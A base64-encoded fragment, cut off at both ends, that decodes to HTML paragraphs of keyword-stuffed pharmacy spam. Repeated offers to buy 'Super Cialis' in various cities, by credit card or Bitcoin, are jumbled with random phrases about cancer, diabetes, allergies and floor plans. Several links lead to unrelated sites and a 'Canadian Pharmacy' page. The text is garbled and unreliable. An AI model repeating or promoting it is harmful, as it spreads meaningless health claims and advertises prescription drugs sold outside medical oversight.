2ZXIgZGFtYWdlIHByb2dub3NpczwvcD4KPHA+QnV5IFN1cGVyIENpYWxpcyBpbiBFbCBTYWx2YWRvciBTYW4gU2FsdmFkb3IgbGl2aW5nIHJvb20gcGxhbnMgZnJlZSBubyBjb3N0IGxvdyBjaG9sZXN0ZXJvbCBkaWV0IDQwMDAgdW5pdHMgdml0YW1pbiBkIHNpZGUgZWZmZWN0cyBwbGFuIGRlIGJvdWxvZ25lIGJpbGxhbmNvdXJ0IGNhbmNlciBiZXN0IHZpdGFtaW4gYXN0aG1hIHRyaWdlcnMgd2F0ZXJtZWxvbiBoYXphcmRvdXMgbWF0ZXJpYWxzIHNwaWxsIHJlcHNvbnNlIHBsYW4gYmFkZ2VyY2FyZSBwbHVzIGNvcmUgcGxhbiBteSBib2R5IGludGVyYWN0aXZlIGZvciB3ZWlnaHQgbG9zcyB3aW5kbWlsbCB2aXRhbWluIGUgb2ludG1lbnQgcGFsbSBiZWFjaCBmbG9yaWRhIGRpYWJldGVzIGZ1bmRyYWlzZXJzIHRoZSBiZXN0IHdheSB0byBxdWl0IHNtb2tpbmcgaG93IGZhc3QgZG9lcyB0ZXN0aWN1bGFyIGNhbmNlciBzcHJlYWQgYnJlYXN0IGNhbmNlciBzdHVmZiBucyBlYXJseSByZXRpcmVtZW50IHBsYW4gZXBpZGlkeW1pcyBmaW5hc3RlcmlkZSB0cnVjayBjYXBzIGZvciB0b3lvdGEgYXR0cmlidXRlcyBvZiBwcm9zdGF0ZSBjYW5jZXIgY2VsbCBsaW5lcyBsZXZvbm9yZ2VzdHJlbCBzaWxpY29uZSBvciBwb2x5ZXRoeWxlbmUgZWFzeSBxdWFydGVyIHBpcGUgcGxhbnMgYWR2YW5jZWQgZXh0cmFvdmFyaWFuIGNhbmNlciBjcm9zYnkgY2F0Ym9hdCBwbGFucyBjYXJib2h5ZHJhdGUgdml0YW1pbiBwaWxsIHN0ZWFtIHdpc3RsZSBwbGFucyBjaW5uYW1vbiBhbmQgZGlhYmV0ZXMgY29udHJvbCB2b2NhbCBpc28gYm9vdGggcGxhbnMgYXRpdmFuIGludHJhbXVzY3VsYXIgc2VwdGljIGFydGhyaXRpcyBwbGFuIGV4cGVuc2VzIGFuZCBhdHRvcm5leSBmZWVzIGdvZCBzIGNvc21pYyBwbGFuIG9udiB3ZWlnaHQgbG9zcyBzY2FtIGdlbmVyaWMgYWRlcGl4PC9wPgo8cD5QdXJjaGFzZSBTdXBlciBDaWFsaXMgaW4gQm9zbmlhIGFuZCBIZXJ6ZWdvdmluYSBTYXJhamV2byBpbnNwaXJhdGlvbmFsIHRob3VnaHRzIGNhbmNlciBmbG9vciBraXRjaGVuIG9wZW4gcGxhbiBnZW5lcmljIHVzYiBkcml2ZSBmcm8gaGFyZCBkcml2ZSBtaW5vY3ljbGluZSBlciBnZW5lcmljIG1ldGZvcm1pbiBwcmVnbmFuY3kgaW5mZXJ0aWxpdHkgbWFsYXJpYSBhbnRpYmlvdGljcyAxOTk0IHdpbm5lYmVnbyBtaW5pZSB3aW5uaWUgZmxvb3IgcGxhbnMgaW1wcmV6YSBjYW5jZXIgZXh0ZXJuYWwgZmFjdG9ycyBpbmZsdWVuY2luZyB0aGUgbWFya2V0IHBsYW4gc2lkZSBlbnRyeSBnYXJhZ2UgaG9tZSBwbGFucyBiaXJ0aCBjb250cm9sIG92ZXIgNTAgcHN5Y2hvbG9naWNhbCBpc3N1ZXMgb2YgY2VydmljYWwgY2FuY2VyIGNhdCBwbGFxdWUgYWxsZXJneSA8YSBocmVmPSJodHRwczovL3d3dy5sb25lc2VudHJ5LmNvbS9ibG9nLzIwMTIvMTEvcGFnZS81Ij5TaG9wIExldml0cmEgU29mdCBpbiBHZXJtYW55IEJlcmxpbjwvYT4gcmhldW1hdG9pZCBhcnRocml0aXMgdWxjZXJzIHRyZWF0bWVudCBmb3IgcGVuaXMgY2FuY2VyIFBheSBmb3IgU3VwZXIgQ2lhbGlzIHdpdGggQW1lcmljYW4gRXhwcmVzcyBzdHVkZW50cyB3aXRoIGRpYWJldGVzIFNob3AgU3VwZXIgQ2lhbGlzIGluIFNhaW50IFZpbmNlbnQgYW5kIHRoZSBHcmVuYWRpbmVzIEtpbmdzdG93biBwcmVnbmFudCB3b21lbiB0YWtlIHR5bGVub2wgcGxhbmV0IGVhcnRoIGxlc3NvbiBwbGFucyB0cmVhdG1lbnQgcGxhbiBkZXByZXNzaW9uIGFsbGVyZ2llcyBpbiBkb2dzIHNuZWV6aW5nIG1lZGl0YXJhbmlhbiBob3VzZSBwbGFucyBjYW5jZXIgcmF0ZXMgYnkgeWVhciB2aXRhbWluIG1pbmVyYWwgY29udGVudCBpbiBmb29kIHdpdGhob2xkaW5nIGVpbiBlbXBsb3llciBwbGFuPC9wPgo8cD5QdXJjaGFzZSBTdXBlciBDaWFsaXMgaW4gR2hhbmEgQWNjcmEgam9uaSBlYXJlY2tzb24gdGFkYSBhbmQgYnJlYXN0IGNhbmNlciB5b3V0aCBtZW50b3JzaGlwIHByb2dyYW0gd29yayBwbGFuIGRyZWFtIGRlZmVycmVkIGxlc3NvbiBwbGFuIHNjaG9vbCBidXMgc3RvcCBsb2RnZSBwbGFucyBkaWxsaW5nZXIgZXNjYXBlIHBsYW4gZmx5ZXJzIHN5bXB0b21zIG9mIG1ldGFsIGFsbGVyZ2llcyBwdWxtaWNvcnQgbmVidWxpemVyIGVxdWl2YWxlbnQgYW1hdGVhIHNjaG9vbCB3aWRlIHBsYW4gdml0YW1pbnMgZm9yIHRyYW5zZXh1YWxzIGphbWEgYWR1bHQgc3RlbSBjZWxsIGRpYWJldGVzIHRhbXN1bG9zaW4gdGFkYWxhZmlsIGNvbWJpbmF0aW9uIHNvb25lciBwbGFuIDQxOSBwZW5zaW9uIHBsYW4gbmV3IGVuZ2xlbmQgZmluYW5jaWFsIG1lYWwgcGxhbiB0byBsb3NlIGZhdCBleHBlcmllbmNlIHdpdGggaHNhIGhlYWx0aCBpbnN1cmFuY2UgcGxhbiBtZWRzaGFwZSB3ZWlnaHQgbG9zcyBoZWFydCBwcm9ibGVtcyBkdWUgdG8gYmxvb2QgcHJlc3N1cmUgYmlzcGhlbm9sIGEgY2FuY2VyIGJ1cHJvcGlvbiBjaGV3IHdlaWdodCBsb3NzIGNvbXBhbnkgMSB3b3JsZHdpZGUgd2ZoIGVhdGluZyBmYXQgbG9zcyB3ZWlnaHQgZnJlZSBxdWlsdCBoYW5nZXIgcGxhbnMgcGxhbiBkcml2ZW4gMjAxMCByaWRlIHRvIGNvbnF1ZXIgY2FuY2VyIGFzaGJ1cnRvbiBjZW1ldGVyeSBsYXlvdXQgcGxvdCBwbGFuIGxhYnJhZG9yIHNraW4gYWxsZXJnaWVzIGFjY3V0YW5lIGJsb29kIHRlc3Q8L3A+CjxwPlB1cmNoYXNlIFN1cGVyIENpYWxpcyBpbiBKYXBhbiBUb2t5byB3ZWlnaCBzdGF0aW9uIHNpdGUgcGxhbiB6b2xvZnQgcGVkaWF0cmljIGRvc2FnZSBsYXJnZSBkb3NlcyBvZiB2aXRhbWlucyBwbGFucyBmb3Igc21hbGwga2l0Y2hlbnMgYnJlYXN0IGNhbmNlciB3ZXN0ZXJuIHNoaXJ0cyBpbmZlY3Rpb24gY29udHJvbCB3aXRoIGNhbmNlciBmcmVlIGJlbmNoIGdsaWRlciBwbGFucyBwbGFuZWQgcGFyZW50aG9vZCBsb2NhdGVkIGluIG5vcnRoZWFzdCBvaGlvIHBsYW4gd29tZW5zIG1pbmlzdHJ5IGFjdGl2aXRpZXMgdmlsbGEgZmxvb3IgcGxhbiBtYXNhZGEgcGxhbiBvbHltcGljIGdhbWVzIDIwMTAgbGVzc29uIHBsYW5zIHRoZSBzaWRlIGFmZmVjdHMgdHlsZW5vbCBoYXphcmQgYXNzZXNzbWVudCBwbGFuIHdlaWdodCBsb3NzIHBvb3IgYXBwZXRpdGUgaW4gZG9ncyBibG9vZCBwcmVzc3VyZSB0b28gbG93IDcwIDUwIGZvb3RiYWxsIGdhbWUgcGxhbiA8YSBocmVmPSJodHRwOi8vd3d3LmF2aW5kdXN0cmllcy5jYS90YWcvc2VlZHMvIj5QdXJjaGFzZSBGZW1hbGUgQ2lhbGlzIGluIExpdGh1YW5pYSBWaWxuaXVzPC9hPiB2aXJnaW5hIGxlc3NvbiBwbGFucyBmaXNoIGV4cG9ydCBidXNpbmVzcyBwbGFuIHByZW9wZXJhdGl2ZSBwbGFuIGZvciBiaXBvbGFyIGhpcCBudXJzaW5nIERpc2NvdW50IFN1cGVyIENpYWxpcyB3aXRoIEJpdGNvaW4gbWlub3JpdHkgZW50ZXJwcmlzZSBidXNpbmVzcyBwbGFucyBzbWFsbCBicmltIGNhcHMgc3BlbmNlciB0dXR0bGUgY2FuY2VyIDE0MDAgY2Fsb3JpZSBtZWFsIHBsYW5zIGxvdyBjb3N0IGZlbWFyYSB0ZXN0aW1vbmlhbHMgb2YgYmlvaWRlbnRpY2FsIGhvcm1vbmVzPC9wPgo8cD5QdXJjaGFzZSBTdXBlciBDaWFsaXMgaW4gS29zb3ZvIFByaXN0aW5hIGxlc3NvbiBwbGFucyBvbiBldHRpcXVldHQgY29tcHV0ZXIgZGVzayBwbGFuIGlkaW9wYXRoaWMgYXJ0aHJpdGlzIGNoaWxkcmVuIHRyaW1ldGhvcHJpbSBzdWxmYW1ldGhveGF6b2xlIHN1c2NlcHRpYmxlIGluZmVjdGlvbnMgc3Ryb25nIHNhZmUgcGFpbiByZWxpZWYgcmVpc2hpIG11c2hyb29tcyBiZW5lZml0cyBhcnRocml0aXMgdWsgZXVjYWx5cHRhcyBhbGxlcmd5IGluanVyaWVzIGNhdXNlZCBieSBhY2N1dGFuZSBhbmQgY2xhcmF2aXMgZ2VuZXJpYyBlcXVpbHZhbGVudCBmb3Igdnl0b3JpbiBtYXhpbXVtIGRvc2Ugb2YgYW1sb2RpcGluZSBjYWlybiB0ZXJyaWVyIGZvciBhbGxlcmd5IHN1ZmZlcmVzIGNhbmNlciBhbmQgYmFjb24gZW1lcmdlbmN5IHJlc3BvbnNlIHBsYW4gZm9yIG1pc3NvdXJpIGFpciBmb3JjZSB0cmFuc2Zvcm1hdGlvbiBwbGFuIFN1cGVyIENpYWxpcyB1c2VzIC0gQ291cG9ucyAmIFBoYXJtYWN5IEluZm9ybWF0aW9uIG11bHRpIGhvcnNlIHZpdGFtaW5zIGNhYmVyZ29saW5lIDFtZyBwaWN0dXJlcyBvZiBvcmFsIGNhbmNlcnMgaW4gY2hpbGRyZW4gcGF5ZGF5IGxvYW5zIHdpdGggYSBwYXltZW50IHBsYW5zIGJhY3RlcmlhIGZvciBjYW5hZGlhbiBjYW5jZXIgcmVzZWFyY2ggb3ZhcmlhbiBjYW5jZXIgY2VsbHMgc2lkZSBlZmVjdHMgY29tcGFyaXNvbnMgcGFyb3hldGluZSBjaXRhbG9wcmFtIHdlaWdodCBsb3NzIGNvbXBldGl0aW9uIGF0IHdvcmsgbGl0dXJnaWNhbCBjYWxlbmRhciBsZXNzb24gcGxhbiBibG9vZCBwcmVzc3VyZSBjaGFubmVsIGJsb2NrZXJzIG51cnNpbmcgY2FyZSBwbGFuIGludGVydmVudGlvbnMgY29udHJhY2VwdGlvbiBiaXJ0aCBjb250cm9sIHBpbGxzIHBlcnUgdHJhdmVsIHBsYW5zIHRlcm0gbGlmZSBwcm90ZWN0aW9uIHBsYW4gcGVhbnV0IGFsbGVyZ3kgY3VyZXMgc2VzYW1lIG9pbCBhbmQgcGFuY3JlYXRpYyBjYW5jZXI8L3A+CjxwPlB1cmNoYXNlIFN1cGVyIENpYWxpcyBpbiBNb25hY28gTW9uYWNvIHBpY3R1cmUgb2YgaGFuZCB3aXRoIHJoZXVtYXRvaWQgYXJ0aHJpdGlzIHBlbiBjYXBzIGFpciB2ZW50IHRleGFzIHJvYmluaG9vZCBwbGFuIGtpZG5leSBjYW5jZXIgc3VwcG9ydCBncm91cCBtaWxrIGFsbGVyZ3kgYW5kIGJyZWFzdG1pbGsgbGFrZSBjb3R0YWdlIHBsYW5zIGNhbmNlciBwYWluIGFydGhyaXRpcyBtaWdyYWluZXMgY2hyb25pYyBwYWluIHByb3N0YXRlIGNhbmNlciBhbmQgaW1wbGFudCBpbmplY3Rpb25zIGtpZHMgY2hld3kgdml0YW1pbnMgY291cG9ucyAxMjUgNzUgYmxvb2QgcHJlc3N1cmUgY2hhcHRlciBhY3R2aXRpeSBwbGFucyBnbGlkZSBjYXBzIGZvciBmcm9udCB3aGVlbCB3YWxrZXIgaW1pcXVpbW9kIHJpc2tzIHdhdGVyIGZvciBnYXMgcGxhbnMgaGVhbHRoeSB3ZWlnaHQgbG9zcyBrZW4gZGlzY291bnQgZHJ1ZyBwbGFucyBpbmplY3RhYmxlIGRydWdzIGZvciBjYW5jZXIgaG91c2UgcGxhbiB3aW50ZXIgcGFyayBxNDAgY2FuY2VyIHdvcmxkIGFsbGVyZ3kgZGF5IDIwMDggdHlwZXMgb2YgZXhlcmNpc2UgYW5kIGRpYWJldGVzIGJvZHkgY2hhbmdlcyBhbmQgcXVpdCBzbW9raW5nIGFsbGVyZ3kgdG8gYXZhY2Fkb3MgbGVhZiBiYWdnaW5nIGtpdCBwbGFuIGJpYyBjbGVhciBwbGFzdGljIHBlbnMgd2l0aCBjYXBzIGRpYWJldGVzIGluc2lwaWR1cyBoYXdhaWkgU3VwZXIgQ2lhbGlzIHVzZXMgLSBDb3Vwb25zICYgUGhhcm1hY3kgSW5mb3JtYXRpb248L3A+CjxwPlB1cmNoYXNlIFN1cGVyIENpYWxpcyBpbiBQaGlsaXBwaW5lcyBNYW5pbGEgaG91c2UgZmxvb3IgcGxhbnMgaW5kaWEgd2VpZ2h0IGxvc3MgYW5kIGZpdG5lc3MgY29tbXVuaXR5IGNobG9yc2lnIGV5ZSBkcm9wcyB0ZXJtIGZvciBjYW5jZXIgY2F1c2luZyBzdWJzdGFuY2UgcGhvbmljcyBqIGRnZSBnZSBsZXNzb24gcGxhbnMgZG9lcyBjb2xvbiBjYW5jZXIgY2F1c2UgbGVnIGNyYW1wcyBTdXBlciBDaWFsaXMgdXNlcyAtIENvdXBvbnMgJiBQaGFybWFjeSBJbmZvcm1hdGlvbiB3ZWlnaHQgbG9zcyBraW5nIG9mIHBydXNzaWEgc2F3ZHVzdCBidXJuaW5nIHN0b3ZlIHBsYW5zIDEgYXJ0aHJpdGlzIGN1cmUgd2hhdCBkb2VzIGFjY3V0YW5lIGRvIEJ1bGsgQnV5IFN1cGVyIENpYWxpcyAtIGFjY2VwdCBNYXN0ZXJDYXJkIHdlaWdodCBsb3NzIGRyIHNjIGZlbWFsZSBjYXJkaW92YXNjdWxhciBzdXJnZW9ucyBjYWxpZm9ybmlhIGJsb2NrIGJ1aWxkaW5nIHBsYW5zIEJ1bGsgQnV5IFN1cGVyIENpYWxpcyAtIGFjY2VwdCBNYXN0ZXJDYXJkIHN1bGZhbWV0aG94YXpvbGUgdHJpbWV0aG9wcmltIG1lZGljaW5lIGZvciBiaXJkcyB0cm9qYW4gaG9yc2UgZ2VuZXJpYyA3IGFnZXkgYmxvb2QgcHJlc3N1cmUgbWV0ZXIgaGVtYXMgbGsgY2FuY2VycyBjYXJlZ2l2ZXJzIHN1cHBvcnQgZ3JvdXAgd29ya291dCBicmVhc3QgY2FuY2VyIGphY2tpZSBzbWFsbCBidXNpbmVzcyBwbGFuIHRlbXBsZXRzIGxlc3NvbiBwbGFuIGZvciB0aG9tYXMgYSBiZWNrZXQgc2ltcGxlIHBsYW4gcXVpenplcyBvbiBmYWNlYm9vayBjYW5jZXIgY2VsbHMgZm9ybWluZyBiYyBicyBvZiBhcml6b25hIGluZGl2aWR1YWwgcGxhbnMgc3Bpcm9ub2xhY3RvbmUgYmxvb2QgcHJlc3N1cmUgbG93ZXIgb3ZhcnkgcmVtb3ZhbCBhbmQgYnJlYXN0IGNhbmNlciBsaXRoaXVtIHRhcmRpdmUgZXhhY2VyYmF0aW9uIDQwMWsgcGxhbiBzcG9uc2VyIG9wdGlvbnMgcGhlbnl0b2luIGl2PC9wPgo8cD5QdXJjaGFzZSBTdXBlciBDaWFsaXMgaW4gVW5pdGVkIFN0YXRlcyBWaXJnaW4gSXNsYW5kcyBDaGFybG90dGUgQW1hbGllIGJpcnRoIGNvbnRyb2wgcGlsbCBoZWxwcyBwbXMgUHVyY2hhc2UgU3VwZXIgQ2lhbGlzIGluIFNvdXRoIEdlb3JnaWEgYW5kIHRoZSBTb3V0aCBTYW5kd2ljaCBJc2xhbmRzIEdyeXR2aWtlbiBvbWVwcmF6b2xlIHdpdGhkcmF3YWwgc3ltcHRvbXMgcHJlc2NyaXB0aW9uIHZpdGFtaW4gZCBQYXkgZm9yIFN1cGVyIENpYWxpcyB3aXRoIEFtZXJpY2FuIEV4cHJlc3Mgem9kaWFjIG1ldGFsIHJvb3N0ZXIgY2FuY2VyIHNwcmludCByZXNpZGVudGlhbCBsb25nIGRpc3RhbmNlIHBsYW5zIHNwZWNpYWwgc2NlbmljIHZpZXcgZGlzdHJpY3QgcGxhbiBkaWFncmFtIGNhcmIgZGlldCBmYXQgbG93IGxvdyBwbGFuIGZyZWUgd2VpZ2h0IGxvc3Mgc3BlbGwgY2FzdCBwb2NrZXQgZG9vciBwbGFuIG5hdHVyYWwgcHJvZHVjdHMgaGFpciBsb3NzIGRvcyBzZXQgY2FwcyBsb2NrIG9uIGlzYWRvcmUgcm9zZW5mZWxkIGRpZXQgYW5kIGNhbmNlciBwbGFuIGZvciBzYWx2YXRpb24gcmVudGFsIGFwYXJ0bWVudCBjb21wbGV4IGJ1aWxvZGluZyBwbGFucyBhbGxlcmd5IHRvIHdhdGVybWVsb24gaW4gbmlnaHRzaGFkZSBmYW1pbHkgPGEgaHJlZj0iaHR0cHM6Ly9wYXJ0cHJvY3VyZXIuY29tL2NhdGVnb3J5L29wZXJhdGlvbnMvcGFnZS80LyI+S2FtYWdyYSBQb2xvICAtIENhbmFkaWFuIFBoYXJtYWN5PC9hPiBhbGxlcmd5IHRvIGFzcGVydGFtZSBjdXN0b20gdGVhbSBiYXNlYmFsbCBjYXBzIGtpZHMgdHJhaW4gcGxhbnMgbW9kdWxhciByciB0cmFjayBwbGFuIHdhc2hpbmd0b24gYmlydGggY29udHJvbCBhbGxlcmdpZXMgYW5kIGRpYXJoZWEgZGlhYmV0ZXMgc3VwcG9ydCBmb3J1bXMgdnl0b3JpbiByZXZpZXdzPC9wPgo8cD5TaG9wIFN1cGVyIENpYWxpcyBpbiBEamlib3V0aSBEamlib3V0aSBhbGxlcmdpZXMgdG8gYmFuYW5hcyBoZWxwIGRldmVsb3BpbWcgbWFya2V0aW5nIHBsYW4gY3VzaGluZ3MgYW5kIGJyZWFzdCBjYW5jZXIgYXJ0aHJpdGlzIGNhcmUgcmVzZWFyY2ggNDUgaG9vdGlhIGFuZCBkaWFiZXRlcyBwcm9qZWN0IHBsYW5zIGFuZCBidXNpbmVzcyByZXBvcnRzIGFpcmNyYWZ0IGtpdCBwbGFucyBwbGFuIG1lY2EgdGV4dGUgY29tcGFyYXRpZiBwbGFuIGRyIHBoaWxsIGNoaWxkIHdlaWdodCBsb3NzIGhhaXIgbG9zcyBzaGFtcHAgbWVoZWdhbiB3ZWlnaHQgbG9zcyBzeW1wdG9tcyBmcmVxdWVudCBoaWdoIGJsb29kIHByZXNzdXJlIGhlcmJhbCBtZW5zIHZpdGFtaW5zIHByb2R1Y3Qgc3VwcG9ydCBwbGFuIGRpYW5lIGJpcnRoIGNvbnRyb2wgcGlsbHMgZXRoaW55bCBlc3RyYWRpb2wgZG9jdW1lbnQgbWFuYWdlbWVudCBwbGFuIGJyZWFzdCBjYW5jZXIgc25lYWtlcnMgZm9yIGtpZHMgbGVzc29uIHBsYW4gZm9yIGZpcnN0IGdyYWRlIHRlYWNoZXJzIGJsb29kIHByZXNzdXJlIG9uIGRvdCBwaHlzaWNhbCBjcmVhdGluZyBidXNpbmVzcyBtYXJrZXRpbmcgcGxhbiBzb2Z0d2FyZSBib3hlciBkb2dzIGFsbGVyZ2llcyBkb2cgaG91c2UgcGxhbnMgZnJlZSBzcGFuaXNoIGdyYW1tYXIgbGVzc29uIHBsYW5zIG5hdGlvbmFsIGNhbmNlciBpbnNpdHVlIG1heW9yIHdhc3NvbiB3aXRoIGNvbG9uIGNhbmNlciB0aGUgZGlmZmVyZW50IHR5cGVzIG9mIHByb3N0YXRlIGNhbmNlciBjYW5jZXIgYW5kIHZkIGlzIGVyZWN0aWxlIGR5c2Z1bmN0aW9uIGN1cmFibGU8L3A+CjxwPlNob3AgU3VwZXIgQ2lhbGlzIGluIEhvbmR1cmFzIFRlZ3VjaWdhbHBhIHdlaWdodCBsb3NzIGRvY3RvcnMgZWRtb25kIG9rbGFob21hIGRvZyBkcnkgZXllcyBkcm9wcyBodW1hbiBwdmMgaHlkcm9wb25pY3Mgc3lzdGVtIHBsYW5zIGFybXkgcHVibGljIGFmZmFpcnMgcGxhbiBibG9vZCBwcmVzc3VyZSBwcmVtaWVyIHR5cGUgb2YgYnJlYXN0IGNhbmNlciB3aG8gc2hvdWxkIHRha2UgcHJvemFjIHNld2FyZCBhbGFza2EgcHJpdmF0ZSBwbGFucyBwaWxvdCBsb3Zhc3RhdGluIGdlbyBtZXZhY29yIG5ldyBoZWFsdGggY2hvaWNlIHBsYW4gb2YgdGVubmVzc2VlIG9udGFyaW8gc3RyYXRlZ2ljIHBsYW4gY3ZkIHJvb3QgaG9ybW9uZXMgbW9zcXVpdG8gYW5kIHZpdGFtaW4gbmV3IHllYXJzIHBsYW5zIHdpbm5pcGVnIGNlbnRlciBmb3Igc2FmZXIgcHJvc3RhdGUgY2FuY2VyIHRoZXJvcHkgaGVyc2hleSBicmVhc3QgY2FuY2VyIGNhbmR5IGNyaW1pbmFsIGxhd3llcnMgc3BlY2lhbGl6aW5nIGluIG1lbnRhbCBpbGxuZXNzIGxpdGhpdW0gYW5kIGFueGlldHkgYmxvb2QgcHJlc3N1cmUgaW4gYXJ0ZXJpZXMgYW5kIHZlaW5zIGIgdml0YW1pbnMgd2lraXBlZGlhIHJlc3VsdHMgaGVhbHRoIGluc3VyYW5jZSBwcmljaW5nIHBsYW5zIG1hcmtldGluZyBhbmQgYnVzaW5lc3MgcGxhbnMgaG80IHBsYW5zIGJpcmQgZmVlZGVyIHBsYW4gd29vZCB3b3JraW5nIG1lZGNvIG9oaW8gbWVkaWNhcmUgcGFydCBkIHBsYW5zIG1lbnRhbCBpbGxuZXNzIGxhd3Mgc3RhdGUgb2YgdmEgZG93bmxvYWQgbGVzc29uIHBsYW4gc2V2ZXJlIHJhZ3dlZWQgYWxsZXJneSBzZWl6dXJlIHVzZXMgZm9yIGxpdGhpdW0gbXVwaXJvY2luIG9pbnRtZW50IGlzIHVzZWQgbXVtcHMgbWF0dXJpbmcgaW1tdW5lIHN5c3RlbSBjYW5jZXI8L3A+CjxwPlN1cGVyIENpYWxpcyBnZW5lcmljIC0gRHJ1Z3MgdXRlcmluZSBvdmFyaWFuIGNhbmNlciBzdGFnZXMgZ2VuZXJpYyBzaWduIHVwIHNoZWV0IGdlbmVyaWMga2lyYnkgc2hhbXBvbyByZW1vdmFsIHBsYW4gZm9yIHN0cnVjdHVyZXMgb3ZlciByYWlscm9hZCBjaGVja2luZyBkaWFiZXRlcyBpbiBhIGNhdCBwaW5lYXBwbGUganVpY2UgZm9yIGFzdGhtYSB3b21lbnMgY2FuY2VyIHByb2dyYW1zIG9mIGVpZiB0cmljeWNsZW4gYmlydGggY29udHJvbCBwaWxsIHByb2JsZW1zIHN0YWdlIGlpIGNhbmNlciB2YXRzIGxvYmVjdG9teSBzaW1wbGUgcGxhbiB0aGUgZW5kIG1wMyBmcmVlIGRlZmluZSBzaGlwbWVudCBwbGFuIFNob3AgU3VwZXIgQ2lhbGlzIGluIFNhaW50IFZpbmNlbnQgYW5kIHRoZSBHcmVuYWRpbmVzIEtpbmdzdG93biB2aXRhbWlucyBmb3IgYmV0dGVyIGV5ZXNpZ2h0IGFsbGVyZ2llcyBhbmQgZGVwcmVzc2lvbiBjb3JyZWxhdGlvbiB0cmFwIGJhbGwgcGxhbiBoYWlyIGxvc3MgYW5kIG1lbmFwYXVzZSB0cmF2ZWwgcGxhbnMgaG9tZSBwYWdlIGFsdGVybmF0aXZlIDIgYmlydGggY29udHJvbCBzbGlkaW5nIHBhdGlvIGNoYWlyIHBsYW5zIG5hcmRpbCBhbmQgZ2VuZXJpYyBuYW1lIGZsdW9yb3VyYWNpbCBwYWluIHJlbGllZiBhbGxlcmdpZXMgdHJvdWJsZSBicmVhdGhpbmcgdW5pdmVyc2FsIGRlc2lnbiBsZXNzb24gcGxhbnMgb3duZXIgY29udHJvbCBpbnN1cmFuY2UgcGxhbiB2aXRhbWluIGsgcmVxdWlyZW1lbnRzIGluIGNhdHRsZSBQYXkgZm9yIFN1cGVyIENpYWxpcyB3aXRoIEFtZXJpY2FuIEV4cHJlc3MgbGltdSBhbmQgY2FuY2VyIGhhaXIgZm9yIGNhbmNlciBzY2FyZnMgbm9ydGggY2Fyb2xpbmEgZ2FyYWdlIHBsYW5zIGNhbmNlciBkcnVncyB0cmlwbGUgY2lnYXJyZXR0ZSBsaWdodGVyIGR1c3QgY2FwcyBidW1wcyBvbiBleWVsaWRzIGFsbGVyZ3kgY2VydmljYWwgY2FuY2VyIGJhY2sgcGFpbiBtZXRmb3JtaW4gamFudXZpYSBwZXBwZXJtaW50IG1vdGlvbiBzaWNrbmVzczwvcD4KPHA+U3VwZXIgQ2lhbGlzIGdlbmVyaWMgLSBGREEgQXBwcm92ZWQgRHJ1Z3MgZ2VuZXJpYyBwaGFybWFjZXV0aWNhbCBhc3NvY2lhdGlvbiBpbmMgbWFuZGlibGUgY2FuY2VyIGJsb29kIHByZXNzdXJlIG1lZGljaW5lIHNpZGVlZmZlY3RzIGFmdGVyIHdpdGhkcmF3bCB0ZW1wZXJhbWVudCB0aGVyYXB5IHdlbGxuZXNzIHJlY292ZXJ5IGFjdGlvbiBwbGFuIHByb2Zlc3Npb2FsIHNraW4gY2FyZSBwcm9kdWN0cyBwbGFzdGljIGR1Y3QgY2FwcyA1MjkgcGxhbiBuZXcgeW9yayBjb2xsZWdlIGZ1bmQgQnV5IFN1cGVyIENpYWxpcyAtIGFjY2VwdCBCaXRjb2luIGNvbWluZyBzb29uIGJlc3RzZWxsZXJzIG1lZGljYWwgYXJ0aWNsZXMgb24gY2FuY2VyIHBlcmN5IGJsYW5mb3JkIGtheWFrIHBsYW5zIDg4IHBsYW4gbmZsIGRlbmllZCBiZW5lZml0cyBjZWx0aWMgaGFycCBwbGFucyB6b2xvZnQgYm9keSBkeXNtb3JwaGljIGRpc29yZGVyIHVuaXRlZCBoZWFsdGggY2FyZSBnbG9iYWwgY2hvaWNlIHBsYW4gc3ltcHRvbXMgb2Ygdml0YW1pbiBiIGRlZmljaW5jaWVzIHdlaWdodCBsb3NzIHRpcHMgYWZ0ZXIgdG8gY2F0cyB0b290aCBlbmFtZWwgYWxsZXJneSBhbGFjZXIgY29ycG9yYXRpb24gZW1lcmdlbi1jIHZpdGFtaW4gdHJvcGljYWwgcHJlZG5pc29sb25lIGFuZCBicm9uY2hpdHVzIGJvbmUgY2FuY2VyIHByZXNieXRlcmlhbiBkYWxsYXMgYWxsZXJneSBhc3RobWEgdmFjdXVtIHJldmlldyBnZW5lcmljIHphZGl0b3IgaGFya2lucyAxMCB4IDE0IHNhbHRib3ggc2hlZCBwbGFucyBpbmNsdWRlIGdlbmVyaWMgZG9tYWlucyBsaWtlIFBpY2sgdXAgU3VwZXIgQ2lhbGlzIC0gYWNjZXB0IENyZWRpdCBDYXJkIGFydCBsZXNzb24gcGxhbnMgZm9yIHByZS1rPC9wPgo8cD5TdXBlciBDaWFsaXMgc2lkZSBlZmZlY3RzIC0gRkRBIEFwcHJvdmVkIGJyZWFzdCBjYW5jZXIgbHlkaWEgZ2FkZCBjYW5jZXIgbGVpc29uIG9uIGZhY2Ugd29vZHdvcmtpbmcgcGxhbnMgYm9vayBicmFpbiBkaWFiZXRlcyByYW5kb20gZGlhYmV0ZXMgbGV2ZWwgdml0YW1pbiBiMTIgYW5kIGFsY29ob2wgZGVtZW50aWEgcmV3YXJkcyBjb2RlIGZvciBkZW50YWwgcGxhbnMgb25lIGN1cmUgZm9yIGNhbmNlciBib3ggaG9ja2V5IGRpbWVuc2lvbnMgcGxhbnMgYnJlYXN0IGNhbmNlciBjbGluaWMgaW4gbWV4aWNvIHNjYXJsZXQgaWJpcyBsZXNzb24gcGxhbiBjYnMgZW1wbG95ZWUgc2F2aW5ncyBwbGFuIGJ1aWxkaW5nIHBsYW5zIGZvciB0cmFja2xlc3MgYmFycmVsIHRyYWlucyB3cml0dGVuIG9yaWVudGF0aW9uIGFuZCB0cmFpbmluZyBwbGFuIGRhdmUgcm93c29uIGFzdGhtYSBkaWFiZXRlcyBtZWFzdXJlIGJtIGNvbmZlcmVuY2Ugcm9vbSBkZXNpZ24gYW5kIGZsb29yIHBsYW4gb3ZhcmlhbiBjYW5jZXIgc2V4IGZvb2RzIGluIHZpdGFtaW4gYiBiaXJ0aCBjb250cm9sIGFuZCBob3Jtb25lcyBwbGFuIG5hY2lvbmFsIGRlIGRlc2Fycm9sbG8gbWV4aWNvIHR5bGVub2wgdXNlIGluIGRvZ3MgZGVjYXR1ciBpbGxpbmlvcyBkaWFiZXRlcyBwaHlzaWNpYW4gcm9ib3RzIGxlc3NvbiBwbGFucyBlbGVtZW50YXJ5IGNhcHMgYWx1bWludW0gYnJhaW4gY2FuY2VyIHByZXZlbGFuY2UgdHJlYXRtZW50IGZvciB2